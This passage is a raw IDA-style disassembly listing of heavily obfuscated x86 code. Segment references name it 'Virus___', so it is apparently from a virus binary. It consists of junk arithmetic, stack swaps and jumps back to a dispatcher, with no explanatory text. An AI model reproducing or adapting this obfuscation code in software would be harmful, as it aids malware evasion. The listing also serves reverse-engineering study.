loc_5460F2: ; CODE XREF: sub_545A2B+23B7j add edx, ebp jmp loc_54894E ; --------------------------------------------------------------------------- loc_5460F9: ; CODE XREF: sub_545A2B+236Fj inc eax jmp loc_54804C ; --------------------------------------------------------------------------- loc_5460FF: ; CODE XREF: sub_545A2B+80BFj add edx, ebp pop ebp push edx jmp loc_54A927 ; --------------------------------------------------------------------------- loc_546108: ; CODE XREF: sub_545A2B+9A0Bj sub edx, 4 xchg edx, [esp-16h+arg_12] pop esp jmp loc_54C8A9 ; --------------------------------------------------------------------------- loc_546117: ; CODE XREF: sub_545A2B+8AA9j pop bx push eax mov al, 3Ah shr al, 1 sub al, 2 xor bl, al pop eax push cx mov ch, 0A0h or bl, ch jmp loc_543860 ; --------------------------------------------------------------------------- loc_54612E: ; CODE XREF: sub_545A2B+9224j pop ecx jmp loc_54E8C0 ; --------------------------------------------------------------------------- loc_546134: ; CODE XREF: sub_5441CB+966Cj push [esp-1Eh+arg_1E] jmp loc_54D784 ; --------------------------------------------------------------------------- loc_54613D: ; CODE XREF: sub_545A2B+8D78j sub edx, 0FC49D505h xor eax, edx mov edx, [esp-1Ah+arg_16] jmp loc_545B5D ; --------------------------------------------------------------------------- loc_54614D: ; CODE XREF: sub_545A2B+70C6j mov edi, 63A39CAh sub edi, esi jmp loc_5441D6 ; --------------------------------------------------------------------------- loc_546159: ; CODE XREF: sub_545A2B+3CF6j shr edx, 8 add edx, 6F8A55C2h sub edx, 42772439h sub ecx, edx pop edx jmp loc_546BD2 ; --------------------------------------------------------------------------- loc_546170: ; CODE XREF: sub_545A2B+219Fj push 2D01h jmp loc_54CE8F ; --------------------------------------------------------------------------- loc_54617A: ; CODE XREF: sub_544C48-12F5j not al neg al jmp sub_54ECC0 ; --------------------------------------------------------------------------- loc_546183: ; CODE XREF: sub_5457F5-1ACEj mov ebp, ebx pop ebx sub ebx, 74246539h sub ebx, ebp push eax jmp loc_544352 ; --------------------------------------------------------------------------- loc_546194: ; CODE XREF: sub_545A2B+59D3j add bl, 0A1h add bl, 4Ah or dl, bl pop ebx neg dl not dl dec dl jmp loc_54B2A1 ; --------------------------------------------------------------------------- loc_5461A8: ; CODE XREF: sub_545A2B-2546j pop ax mov ax, word ptr [esp-30h+arg_2A+2] sub esp, 4 mov [esp-2Ch+arg_26+2], edi push esp mov edi, [esp-28h+arg_22+2] jmp loc_546F1F ; --------------------------------------------------------------------------- loc_5461C0: ; CODE XREF: sub_545A2B+25E6j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5461C5: ; CODE XREF: sub_545A2B+1BF4j sub ebp, 5DC13418h add ebp, edx add ebp, 5DC13418h jmp loc_54AAA2 ; --------------------------------------------------------------------------- loc_5461D8: ; CODE XREF: sub_545A2B-1733j jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5461DD: ; CODE XREF: sub_545A2B-BF3j dec ch shr ch, 5 neg ch jmp loc_544705 ; --------------------------------------------------------------------------- loc_5461E9: ; CODE XREF: sub_545A2B+1B30j push 3775h mov [esp-0Ah+arg_4+2], ebx jmp loc_549372 ; --------------------------------------------------------------------------- loc_5461F6: ; CODE XREF: sub_545A2B+6694j mov esi, [esp-0Ah+arg_4+2] add esp, 4 sub ebx, 75D61282h add ebx, 5CB114DAh jmp loc_544191 ; --------------------------------------------------------------------------- loc_54620D: ; CODE XREF: sub_545A2B+813Cj ror word ptr [esp-0Eh+arg_A], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546217: ; CODE XREF: sub_545A2B-262Bj pop ebx xor edi, 0B5EB7D5h sub edi, 0FFFFFFFFh add edi, 5B45629Ah push edx mov edx, 17A31313h jmp loc_5469AF ; --------------------------------------------------------------------------- loc_546235: ; CODE XREF: sub_545A2B+308Aj add ecx, 4 push edx mov edx, 4 add ecx, edx pop edx xchg ecx, [esp-28h+arg_22+2] pop esp add eax, 4FA32124h sub esp, 4 jmp loc_545E7A ; --------------------------------------------------------------------------- loc_546258: ; CODE XREF: sub_545A2B+59AFj and ebx, 0DC73EAh push 50C7h mov [esp-24h+arg_1E+2], eax mov eax, 0AB86BFFh jmp loc_549809 ; --------------------------------------------------------------------------- loc_546270: ; CODE XREF: sub_545A2B+4B18j xor esi, [esp-24h+arg_1E+2] mov esp, [esp-24h+arg_1E+2] imul cl movzx cx, ah push small 0F34h mov word ptr [esp-22h+arg_1E], cx movzx cx, al push cx pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546290: ; CODE XREF: sub_545A2B+64D9j push [esp-1Ch+arg_16+2] jmp loc_545FEA ; --------------------------------------------------------------------------- loc_546298: ; CODE XREF: sub_545A2B-15C4j mov [esp-1Ah+arg_16], esi mov esi, 6B467AE6h add esi, 0C4708623h push edx mov edx, 7DFD55C5h xor edx, 647C0D2Dh neg edx inc edx sub edx, 8ED87025h sub ebx, edx jmp loc_54B211 ; --------------------------------------------------------------------------- loc_5462C2: ; CODE XREF: sub_545A2B+65F9j push 0D1C7252h jmp loc_54E06A ; --------------------------------------------------------------------------- loc_5462CC: ; CODE XREF: sub_545A2B+994j mov bl, 26h mov ah, bl pop ebx dec ah jmp loc_549953 ; --------------------------------------------------------------------------- loc_5462D8: ; CODE XREF: sub_545A2B+6F41j mov esp, [esp-16h+arg_12] jmp loc_54365A ; --------------------------------------------------------------------------- loc_5462E0: ; CODE XREF: sub_545A2B-1E39j dec esi sub esi, 0FFFFFFFFh shr esi, 7 jmp loc_54C81A ; --------------------------------------------------------------------------- loc_5462EF: ; CODE XREF: sub_545A2B+93A0j mov ebx, 4 add ebp, ebx pop ebx push ecx mov ecx, 4 sub ebp, ecx push [esp-2Eh+arg_2A] pop ecx add esp, 4 push edi mov edi, esp jmp sub_5451FD ; --------------------------------------------------------------------------- loc_54630E: ; CODE XREF: sub_545A2B+6E56j push edx push 1AF60AB3h pop edx xor edx, 1AF60AB7h mov esi, edx pop edx add edi, esi mov esi, [esp-2Eh+arg_2A] add esp, 4 push ebx jmp loc_54BC14 ; --------------------------------------------------------------------------- loc_54632F: ; CODE XREF: sub_545A2B+628j sub esi, 0F60D5A1Bh mov edx, esi mov esi, [esp-3Ch+arg_36+2] add esp, 4 sub ebx, edx pop edx add esi, ebx pop ebx xchg esi, [esp-48h+arg_42+2] pop esp jmp loc_54EB72 ; --------------------------------------------------------------------------- loc_54634C: ; CODE XREF: sub_545A2B+7838j mov [esp-4Ch+arg_46+2], edx mov edx, esp push 59Dh mov [esp-48h+arg_42+2], edi sub esp, 4 mov [esp-44h+arg_3E+2], ebx mov ebx, 0B7229Ch inc ebx jmp loc_5476DC ; --------------------------------------------------------------------------- loc_54636D: ; CODE XREF: sub_545A2B+1D31j add ebp, edx pop edx add ebp, esi jmp loc_544A09 ; --------------------------------------------------------------------------- loc_546377: ; CODE XREF: sub_545A2B+3F6Aj add esp, 4 sub esp, 4 mov [esp-48h+arg_42+2], ecx mov ecx, 2 sub eax, 27A30991h jmp loc_5467F9 ; --------------------------------------------------------------------------- loc_546392: ; CODE XREF: sub_545A2B+8B05j push edi mov edi, 700E7357h or edi, 8BE07C3h jmp loc_54EDFB ; --------------------------------------------------------------------------- loc_5463A3: ; CODE XREF: sub_545A2B+4E40j or ecx, 51B80CCBh xor ecx, 53F86CDFh jmp loc_54E32C ; --------------------------------------------------------------------------- loc_5463B4: ; CODE XREF: sub_545A2B+934Bj sub cl, dh pop edx sub bl, cl pop ecx sub bl, al push edx push eax push ebx jmp loc_5462CC ; --------------------------------------------------------------------------- loc_5463C4: ; CODE XREF: sub_545A2B+3363j push 5E92h mov [esp-3Ch+arg_36+2], ebx push ebp jmp loc_54A347 ; --------------------------------------------------------------------------- loc_5463D2: ; CODE XREF: sub_545A2B+4901j sub eax, 4E7118ABh mov ebx, [esp-38h+arg_32+2] add esp, 4 add eax, 2 jmp loc_54C144 ; --------------------------------------------------------------------------- loc_5463E8: ; CODE XREF: sub_54E0A5+6j add [esp-3Ch+arg_3A+2], ebx pop ebx pop edx push eax jmp loc_546901 ; --------------------------------------------------------------------------- loc_5463F4: ; CODE XREF: sub_5432E2+Aj add esp, 4 push 4E46h mov [esp-40h+arg_3A+2], eax mov eax, 4 jmp loc_54AB17 ; --------------------------------------------------------------------------- loc_546409: ; CODE XREF: sub_545A2B+5A0Dj mov edx, esp add edx, 4 jmp loc_54CE34 ; --------------------------------------------------------------------------- loc_546416: ; DATA XREF: Virus___:00542EC8o mov ax, word ptr [esp-40h+arg_3A+2] jmp loc_548444 ; --------------------------------------------------------------------------- loc_54641F: ; CODE XREF: sub_54C9ED+17DDj sub dh, 0CCh jmp loc_543C9D ; --------------------------------------------------------------------------- loc_546427: ; CODE XREF: sub_54E80B-B81Ej xchg edx, [esp-40h+arg_3A+2] pop esp shl [esp-44h+arg_3E+2], cl pushf jmp loc_54D369 ; --------------------------------------------------------------------------- mov cx, word ptr [esp-40h+arg_3A+2] jmp sub_543710 ; --------------------------------------------------------------------------- loc_54643D: ; CODE XREF: sub_545A2B+261Cj sub edi, 2C5A2B55h jmp loc_54B3C3 ; --------------------------------------------------------------------------- loc_546448: ; CODE XREF: sub_545A2B+BE0j pop ecx push eax mov eax, 4 add edx, eax pop eax xchg edx, [esp-44h+arg_3E+2] jmp loc_5472AF ; --------------------------------------------------------------------------- loc_54645A: ; CODE XREF: sub_545A2B+7CDDj mov esi, [esp-44h+arg_3E+2] add esp, 4 or edx, eax jmp loc_548296 ; --------------------------------------------------------------------------- loc_546467: ; CODE XREF: sub_545A2B+5CC3j shl eax, 2 jmp loc_544410 ; --------------------------------------------------------------------------- loc_54646F: ; CODE XREF: sub_545A2B+87E6j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-44h+arg_3E+2] jmp loc_54AF9B ; --------------------------------------------------------------------------- loc_546483: ; CODE XREF: sub_545A2B+887Fj add ecx, 4 xchg ecx, [esp-44h+arg_3E+2] mov esp, [esp-44h+arg_3E+2] and ecx, edx pop edx jmp loc_54BD7B ; --------------------------------------------------------------------------- loc_546497: ; CODE XREF: sub_545A2B+4743j pop [esp-48h+arg_42+2] jmp loc_54E2CD ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr word ptr [esp+0], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5464AF: ; CODE XREF: sub_545A2B+71B9j mov esp, [esp-4Ah+arg_46] shr word ptr [esp-4Ah+arg_46], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_5464BC: ; CODE XREF: sub_545A2B+5650j pop eax push edx mov dh, bh jmp loc_54985F ; --------------------------------------------------------------------------- loc_5464C5: ; CODE XREF: sub_545A2B+56E1j pop eax xchg ecx, [esp-4Ah+arg_46] pop esp mov [esp+0], eax mov eax, esp add eax, 4 add eax, 4 xor eax, [esp+0] xor [esp+0], eax xor eax, [esp+0] mov esp, [esp+0] push edx jmp loc_54522D ; --------------------------------------------------------------------------- loc_5464E9: ; CODE XREF: sub_545A2B+392Bj pop edi add eax, ebp jmp loc_54382D ; --------------------------------------------------------------------------- loc_5464F1: ; CODE XREF: Virus___:0054EAF1j push 4 jmp loc_54485F ; --------------------------------------------------------------------------- loc_5464FB: ; CODE XREF: sub_545A2B-1B9j pop small word ptr [esp-26h+arg_22] not cx jmp loc_547F90 ; --------------------------------------------------------------------------- loc_546507: ; CODE XREF: sub_545A2B+237Aj push 541Fh mov [esp-24h+arg_1E+2], ebx jmp loc_549D3E ; --------------------------------------------------------------------------- loc_546514: ; CODE XREF: sub_545A2B+204Dj pop edi add esp, 4 jmp loc_549F9D ; --------------------------------------------------------------------------- loc_54651D: ; CODE XREF: sub_545A2B-E0Aj mov eax, 4 add edx, eax pop eax push 0B63h jmp loc_54E554 ; --------------------------------------------------------------------------- loc_54652F: ; CODE XREF: Virus___:005452E6j push edx push 0F8Eh push esp pop dword ptr [esp+0] push ecx mov ecx, 4 add [esp-0Ch+arg_A+2], ecx pop ecx pop edx push ecx mov ecx, 6CE12F04h dec ecx and ecx, 11686A8Bh push edx mov edx, 602A07h xor ecx, edx pop edx add edx, ecx mov ecx, [esp-10h+arg_A+2] add esp, 4 push 7AC2h mov [esp-10h+arg_A+2], ecx mov ecx, 4 jmp loc_54A137 ; --------------------------------------------------------------------------- loc_546575: ; CODE XREF: sub_54D94C+2Cj mov ecx, ebx pop ebx jmp loc_547991 ; --------------------------------------------------------------------------- loc_54657D: ; CODE XREF: sub_545A2B+521Fj add [esp-14h+arg_12+2], ebp pop ebp mov ebp, [esp-18h+arg_12+2] push esi push esp pop esi add esi, 4 jmp loc_543078 ; --------------------------------------------------------------------------- loc_546593: ; CODE XREF: sub_545A2B+3680j add eax, 4 add eax, 4 xchg eax, [esp-14h+arg_E+2] mov esp, [esp-14h+arg_E+2] shr eax, 12h xor eax, ecx xor eax, ebp jmp loc_5457AE ; --------------------------------------------------------------------------- loc_5465AD: ; CODE XREF: sub_545A2B+51AFj xor edx, [esp-14h+arg_E+2] xor [esp-14h+arg_E+2], edx xor edx, [esp-14h+arg_E+2] pop esp mov cx, word ptr [esp-18h+arg_12+2] jmp loc_54A98B ; --------------------------------------------------------------------------- loc_5465C0: ; CODE XREF: sub_545A2B+16BEj pop esi add eax, ecx mov ecx, [esp-1Ch+arg_16+2] add esp, 4 push 479Ah mov [esp-1Ch+arg_16+2], ebx push esi push ebp mov ebp, 312F71DBh jmp loc_54E6E5 ; --------------------------------------------------------------------------- loc_5465E0: ; CODE XREF: sub_545A2B+8EC9j pop edx add ecx, ebp pop ebp add ecx, 2 push ecx push [esp-18h+arg_16+2] push [esp-14h+arg_E+2] jmp loc_54B644 ; --------------------------------------------------------------------------- loc_5465F4: ; CODE XREF: sub_545A2B+7653j push eax push ebp jmp loc_544C7E ; --------------------------------------------------------------------------- loc_5465FB: ; CODE XREF: sub_545A2B-1CBAj add edx, 4 jmp loc_54EDBD ; --------------------------------------------------------------------------- loc_546606: ; CODE XREF: sub_545A2B+4AADj add ecx, ebx pop ebx add edx, ecx jmp loc_546448 ; --------------------------------------------------------------------------- loc_546610: ; CODE XREF: sub_545A2B+2CC2j sub esp, 4 mov [esp-40h+arg_3A+2], edx mov edx, 48B108C4h sub eax, 1CB76D07h sub eax, edx push edi jmp loc_54D74A ; --------------------------------------------------------------------------- loc_54662B: ; CODE XREF: sub_545A2B+60FDj mov ebp, 3D360F60h or edx, ebp pop ebp add edx, 0FFFFFFFFh shr edx, 1 push esi mov esi, 25755237h xor edx, esi pop esi sub eax, edx mov edx, [esp-40h+arg_3A+2] add esp, 4 sub eax, 3B17F54h add eax, ebx push 3822h mov [esp-40h+arg_3A+2], ecx mov ecx, 3B17F54h add eax, 2A407914h add eax, ecx jmp loc_548A37 ; --------------------------------------------------------------------------- loc_54666C: ; CODE XREF: sub_545A2B+5915j add [esp-40h+arg_3A+2], 4 pop esi push ebp push 396A5C7Dh pop ebp not ebp push edi mov edi, 19F61EAEh and ebp, edi pop edi not ebp sub ebp, 1D917F98h jmp loc_54A47A ; --------------------------------------------------------------------------- loc_546690: ; CODE XREF: sub_545A2B+23CCj add dl, ch jmp loc_5431E4 ; --------------------------------------------------------------------------- loc_546697: ; CODE XREF: sub_545A2B+3674j push 961h mov [esp-3Ch+arg_36+2], ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp-3Ch+arg_36+2] mov esp, [esp-3Ch+arg_36+2] mov [esp-3Ch+arg_36+2], eax push ebx mov ebx, 7C23316Bh push ebp mov ebp, 61BD34A2h push edi jmp loc_547EE2 ; --------------------------------------------------------------------------- loc_5466C5: ; CODE XREF: sub_545A2B-223Aj add ebp, eax pop eax and eax, ebp pop ebp shr eax, 0Ah xor eax, ecx push 37BFh mov [esp-22h+arg_1E], eax xchg ecx, [esp-22h+arg_1E] push 177Dh jmp loc_54A331 ; --------------------------------------------------------------------------- loc_5466E5: ; CODE XREF: sub_545A2B+1E5Ej mov esi, 576607Ah push ecx push edi mov edi, 1BAF0865h xor edi, 1CB754CCh mov ecx, edi jmp loc_54AA88 ; --------------------------------------------------------------------------- loc_5466FE: ; CODE XREF: sub_545A2B+6F4Cj pop esp sub esp, 4 mov [esp-16h+arg_12], edx sub esp, 4 mov [esp-12h+arg_E], ebx push edx mov edx, 0D6E0460h inc edx neg edx dec edx or edx, 44D1793Bh inc edx add edx, 76B1610Dh mov ebx, edx pop edx push 787h mov [esp-0Eh+arg_A], esi push ebp mov ebp, 40AB02C8h mov esi, 88DE2806h sub esi, ebp mov ebp, [esp-0Ah+arg_4+2] add esp, 4 shl esi, 7 shl esi, 8 jmp loc_54AA60 ; --------------------------------------------------------------------------- loc_54674E: ; CODE XREF: sub_545A2B-1582j add esp, 4 xchg ecx, [esp-1Eh+arg_1A] pop esp mov [esp-22h+arg_1E], ecx jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546760: ; CODE XREF: sub_545A2B+4A36j or edi, 21815E55h sub edi, 144F4D95h xor ebx, edi jmp loc_54ECE3 ; --------------------------------------------------------------------------- loc_546773: ; CODE XREF: sub_545A2B+3BB9j shl esi, 7 xor esi, 0B663D784h add ecx, esi jmp loc_54D474 ; --------------------------------------------------------------------------- loc_546783: ; CODE XREF: sub_545A2B+23F2j add [esp-22h+arg_1E], 4AB2698h mov edx, [esp-22h+arg_1E] add esp, 4 sub edx, 4AB2698h mov esi, [esp-26h+arg_22] add esp, 4 jmp loc_543F84 ; --------------------------------------------------------------------------- loc_5467A4: ; CODE XREF: sub_545A2B-6BEj push small 40ABh mov word ptr [esp-4Ah+arg_46], ax sub esp, 4 jmp loc_54E37C ; --------------------------------------------------------------------------- loc_5467B7: ; CODE XREF: sub_54C95E-75E8j pop si jmp loc_54E9AE ; --------------------------------------------------------------------------- loc_5467BE: ; CODE XREF: sub_545A2B-14DFj mov ebp, 74167E8Ah jmp loc_54EA6B ; --------------------------------------------------------------------------- loc_5467C8: ; CODE XREF: sub_545A2B+56FFj push ecx mov ch, 0EFh mov al, 69h xor al, ch pop ecx add bl, 40h add bl, al sub bl, 40h pop ax jmp loc_54D7CE ; --------------------------------------------------------------------------- loc_5467DF: ; CODE XREF: Virus___:00544B2Aj dec eax shl eax, 8 sub eax, 0FFFFFFFFh add eax, 7C930F03h add ecx, eax pop eax add ecx, 4 push ecx jmp loc_5472E2 ; --------------------------------------------------------------------------- loc_5467F9: ; CODE XREF: sub_545A2B+962j add eax, ecx push ecx mov ecx, 1A1A241Eh or ecx, 7E035FCAh jmp loc_54ED54 ; --------------------------------------------------------------------------- loc_54680C: ; DATA XREF: Virus___:00542CE4o push small word ptr [edx] jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546814: ; CODE XREF: sub_545A2B-1A37j mov esi, 6CFF22B6h sub [esp-3Ch+arg_3E+2], 1EC152D9h sub [esp-3Ch+arg_3E+2], esi add [esp-3Ch+arg_3E+2], 1EC152D9h pop esi sub [esp-40h+arg_3E+2], ecx add [esp-40h+arg_3E+2], 6CFF22B6h mov ecx, [esp-40h+arg_3A+2] add esp, 4 add [esp-44h+arg_3E+2], eax jmp loc_54EBDD ; --------------------------------------------------------------------------- loc_54684B: ; CODE XREF: sub_545A2B+1273j mov ebx, edi mov eax, ebx pop ebx pop edi neg eax jmp loc_5471A3 ; --------------------------------------------------------------------------- loc_546858: ; CODE XREF: sub_545A2B+90CFj push [esp-4Ch+arg_4C] jmp loc_544803 ; --------------------------------------------------------------------------- loc_546861: ; CODE XREF: sub_545A2B-11C4j shr ah, 7 sub ah, 0BDh sub ah, 69h xor ah, 0F0h mov bl, ah jmp loc_54DB7D ; --------------------------------------------------------------------------- loc_546874: ; CODE XREF: sub_545A2B-2120j add edi, 4 xchg edi, [esp-3Ah+arg_36] jmp loc_547699 ; --------------------------------------------------------------------------- loc_54687F: ; CODE XREF: sub_545A2B+5A1Fj push 3A045C3Dh pop esi xor [esp-3Ah+arg_3A], esi mov esi, [esp-3Ah+arg_36] add esp, 4 mov edi, [esp-3Eh+arg_3A] add esp, 4 xor edi, 3A045C3Dh mov eax, [esp-42h+arg_3E] add esp, 4 xor [esp-46h+arg_46], edi mov edi, [esp-46h+arg_42] add esp, 4 pop eax jmp loc_549543 ; --------------------------------------------------------------------------- loc_5468B1: ; CODE XREF: sub_545A2B+6CBBj pop dword ptr [esp+0] mov esp, [esp-52h+arg_4C+2] jmp loc_5469F9 ; --------------------------------------------------------------------------- loc_5468BC: ; CODE XREF: sub_545A2B+4ADBj xchg esi, [esp-52h+arg_4C+2] jmp loc_547BE1 ; --------------------------------------------------------------------------- loc_5468C4: ; CODE XREF: sub_545A2B+7FEBj and eax, 53355D20h add eax, 738F3665h xor eax, 0D2D6CA9Fh sub edi, eax pop eax xor eax, edi mov edi, [esp-56h+arg_50+2] add esp, 4 jmp loc_545662 ; --------------------------------------------------------------------------- loc_5468E6: ; CODE XREF: sub_545A2B+253Aj mov edx, 82402783h jmp loc_5472B5 ; --------------------------------------------------------------------------- loc_5468F0: ; DATA XREF: Virus___:00542E98o mov eax, [esp-5Ah+arg_54+2] push esi mov esi, esp add esi, 4 jmp loc_54AD66 ; --------------------------------------------------------------------------- loc_546901: ; CODE XREF: sub_545A2B+9C4j mov eax, 0B403440h jmp loc_545AAF ; --------------------------------------------------------------------------- loc_54690B: ; CODE XREF: sub_545A2B+3E0Cj inc ebp dec ebp add ebp, 841CE15Fh add ecx, ebp pop ebp sub ecx, 4 xchg ecx, [esp-44h+arg_3E+2] pop esp jmp loc_54E4D9 ; --------------------------------------------------------------------------- loc_546925: ; CODE XREF: sub_545A2B+79A0j xor esi, [esp-48h+arg_42+2] xor [esp-48h+arg_42+2], esi xor esi, [esp-48h+arg_42+2] pop esp push edi jmp loc_545C28 ; --------------------------------------------------------------------------- loc_546935: ; CODE XREF: sub_545A2B+6655j or edx, 16A81387h sub edx, 0EFE630Bh add edx, 2CF52824h mov edi, edx jmp loc_54EBA9 ; --------------------------------------------------------------------------- loc_54694E: ; CODE XREF: sub_545A2B+26DAj mov esp, [esp-48h+arg_42+2] mov ax, word ptr [esp-48h+arg_42+2] push 5116h mov [esp-44h+arg_3E+2], ecx push esp pop ecx add ecx, 4 push ebx push edi mov edi, 2 mov ebx, edi push [esp-3Ch+arg_36+2] pop edi jmp loc_5485DC ; --------------------------------------------------------------------------- loc_546977: ; CODE XREF: Virus___:0054E4F1j xor esi, 74BB39D9h shl esi, 8 sub esp, 4 mov [esp-38h+arg_32+2], ebx push edx mov edx, 35351BC3h not edx neg edx push edi mov edi, 97553FFh xor edx, edi pop edi mov ebx, edx pop edx jmp loc_5482EB ; --------------------------------------------------------------------------- loc_5469A1: ; CODE XREF: sub_545A2B+2F12j sub esp, 4 mov [esp-34h+arg_2E+2], ecx jmp loc_54EF14 ; --------------------------------------------------------------------------- loc_5469AF: ; CODE XREF: sub_545A2B+805j sub edi, 74385C06h add edi, edx add edi, 74385C06h pop edx xor edi, 5F113996h xor edi, 0DF7C21B3h jmp loc_54B5E2 ; --------------------------------------------------------------------------- loc_5469CF: ; CODE XREF: sub_545A2B+5B60j add ch, 7Fh push edx push ecx push 0BFDh mov [esp-20h+arg_1A+2], ebx mov bl, 0F8h shl bl, 1 shr bl, 2 jmp loc_54AF24 ; --------------------------------------------------------------------------- loc_5469E8: ; CODE XREF: sub_545A2B+46D2j add esp, 4 push esi mov esi, 90603A7h shl esi, 8 jmp loc_54BE1C ; --------------------------------------------------------------------------- loc_5469F9: ; CODE XREF: sub_545A2B+E8Cj mov ax, word ptr [esp-52h+arg_4C+2] push esi jmp loc_54E4F6 ; --------------------------------------------------------------------------- loc_546A03: ; DATA XREF: Virus___:00542D38o mov cx, [esp+0] push ebp jmp loc_548806 ; --------------------------------------------------------------------------- loc_546A0D: ; CODE XREF: sub_545A2B+444Fj mov ebp, 4 add edx, ebp pop ebp xor edx, [esp+0] xor [esp+0], edx jmp loc_549299 ; --------------------------------------------------------------------------- loc_546A20: ; CODE XREF: sub_545A2B-88Dj xor eax, 246958E0h jmp loc_54CF15 ; --------------------------------------------------------------------------- loc_546A2A: ; CODE XREF: sub_545A2B+91C0j push 2F7Bh mov [esp-44h+arg_3E+2], edx push ebp push 52C6h mov [esp-3Ch+arg_36+2], ebx jmp loc_545223 ; --------------------------------------------------------------------------- loc_546A40: ; CODE XREF: sub_545A2B+24A7j shl cl, 7 xor cl, 0D0h mov dh, cl pop ecx sub esp, 4 mov [esp-3Ch+arg_36+2], eax jmp loc_543D43 ; --------------------------------------------------------------------------- loc_546A57: ; CODE XREF: sub_545A2B+121Aj pop esi add ebx, 4C6035B8h sub ebx, 4A8138F4h push 0CC6h jmp loc_54DE76 ; --------------------------------------------------------------------------- loc_546A6E: ; CODE XREF: sub_545A2B+2808j mov bl, 9 push bx jmp loc_54F36F ; --------------------------------------------------------------------------- loc_546A77: ; CODE XREF: sub_545A2B+7756j xor [esp-3Ah+arg_36], ecx xor ecx, [esp-3Ah+arg_36] jmp loc_543D65 ; --------------------------------------------------------------------------- loc_546A82: ; CODE XREF: sub_545A2B+440Ej add edx, 1 xchg edi, edx not edi xchg edi, edx add edx, 286C5D78h xor edx, 7C240C2Fh dec edx add edx, 0A5EEC9DCh mov ebx, edx push [esp-3Ah+arg_36] pop edx add esp, 4 and eax, ebx push [esp-3Eh+arg_3A] jmp loc_54C997 ; --------------------------------------------------------------------------- loc_546AB1: ; CODE XREF: sub_54F099-B766j add esi, 2964B40h pop ebx shr esi, 4 jmp loc_54CA58 ; --------------------------------------------------------------------------- loc_546AC0: ; CODE XREF: sub_545A2B+80D1j add ecx, 4 add ecx, 4 xchg ecx, [esp-3Eh+arg_3A] pop esp xor edi, [esp-42h+arg_3E] xor [esp-42h+arg_3E], edi xor edi, [esp-42h+arg_3E] mov esp, [esp-42h+arg_3E] jmp loc_54EF42 ; --------------------------------------------------------------------------- loc_546AE1: ; CODE XREF: sub_545A2B+68BAj sar word ptr [esp-42h+arg_3E], cl pushf jmp loc_542F67 ; --------------------------------------------------------------------------- loc_546AEB: ; CODE XREF: sub_54D5C0+13j add edi, 2B824740h xor edi, 4D247043h jmp loc_54D186 ; --------------------------------------------------------------------------- loc_546AFC: ; CODE XREF: sub_545A2B+1EA9j sub eax, 3C3C3981h add eax, 1CA60728h add eax, 721C157Fh mov ebx, [esp-3Eh+arg_3A] push esi mov esi, esp add esi, 4 push edi mov edi, 0F3B5940h xor edi, 645B3E82h add edi, 578C567Ch sub edi, 6F6048AAh jmp loc_54E828 ; --------------------------------------------------------------------------- loc_546B34: ; CODE XREF: sub_545A2B+691Cj add esi, 162D4D2Eh pop edx jmp loc_54C53E ; --------------------------------------------------------------------------- loc_546B40: ; CODE XREF: sub_545A2B+5003j add esi, edi jmp loc_54A6C9 ; --------------------------------------------------------------------------- loc_546B47: ; CODE XREF: sub_545A2B-15AFj mov [esp-16h+arg_12], ebx jmp loc_545F50 ; --------------------------------------------------------------------------- loc_546B4F: ; CODE XREF: Virus___:005451DCj add eax, ebx push ebp mov ebp, 111B0DC5h push ecx jmp sub_54EF28 ; --------------------------------------------------------------------------- loc_546B5D: ; CODE XREF: sub_545A2B+3315j sub edi, 653C8F4h push edi pop ecx pop edi sub eax, ecx jmp loc_546028 ; --------------------------------------------------------------------------- push [esp-12h+arg_E] pop ecx jmp loc_547236 ; --------------------------------------------------------------------------- loc_546B76: ; CODE XREF: sub_545A2B+99D2j push ecx mov ecx, 38291CBCh xor ecx, 37BE7999h push eax push ebp jmp loc_54DFB6 ; --------------------------------------------------------------------------- loc_546B89: ; CODE XREF: sub_545A2B+2C75j push ebp mov ebp, 25521091h and ebp, 6F2E25B7h push ecx mov ecx, 7F0293Fh sub esp, 4 mov [esp+6+var_8+2], eax mov eax, 987FB031h sub ecx, 49F0063Eh add ecx, 44503D6Ch sub ecx, eax sub ecx, 44503D6Ch add ecx, 49F0063Eh pop eax add ebp, ecx pop ecx sub ebp, 9472799Bh jmp loc_54D4FA ; --------------------------------------------------------------------------- loc_546BD2: ; CODE XREF: sub_545A2B+740j pop ebp xchg ecx, [esp-22h+arg_1E] mov esp, [esp-22h+arg_1E] jmp loc_54B139 ; --------------------------------------------------------------------------- loc_546BDE: ; CODE XREF: sub_545A2B-FD9j sub bl, 52h add bl, 0D3h push eax mov ah, 68h neg ah sub ah, 0B1h jmp loc_54C46D ; --------------------------------------------------------------------------- loc_546BF1: ; CODE XREF: sub_545A2B+4D81j pop ecx push dword ptr [edx] add [esp-58h+arg_54], 298B6E85h pop ecx sub ecx, 298B6E85h mov edx, [esp-5Ch+arg_58] add esp, 4 jmp loc_549C13 ; --------------------------------------------------------------------------- loc_546C0D: ; CODE XREF: sub_545A2B-E2Aj add edi, ecx jmp loc_54E618 ; --------------------------------------------------------------------------- loc_546C14: ; CODE XREF: sub_545A2B+5CE8j push ebx push eax push 291A010Ch jmp loc_548D45 ; --------------------------------------------------------------------------- loc_546C20: ; CODE XREF: sub_545A2B+87DFj add ebx, esi sub ebx, 71CB02C3h pop esi sub ebx, 68BE49CEh sub ebx, eax add ebx, 68BE49CEh push esi mov esi, 39804021h sub esi, 0F08E275Fh sub ebx, esi jmp loc_546A57 ; --------------------------------------------------------------------------- loc_546C4A: ; CODE XREF: sub_545A2B+161j mov edx, 3FD60E81h jmp loc_54C455 ; --------------------------------------------------------------------------- loc_546C54: ; CODE XREF: sub_545A2B-1E24j add eax, 4 xchg eax, [esp-2Eh+arg_2A] pop esp push ebp push esp mov ebp, [esp-2Ah+arg_26] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_544197 ; --------------------------------------------------------------------------- loc_546C72: ; CODE XREF: Virus___:0054F311j xchg edi, [esp-26h+arg_22] pop esp mov [esp-2Ah+arg_26], edi mov edi, esp push ebx jmp loc_54718B ; --------------------------------------------------------------------------- loc_546C81: ; CODE XREF: 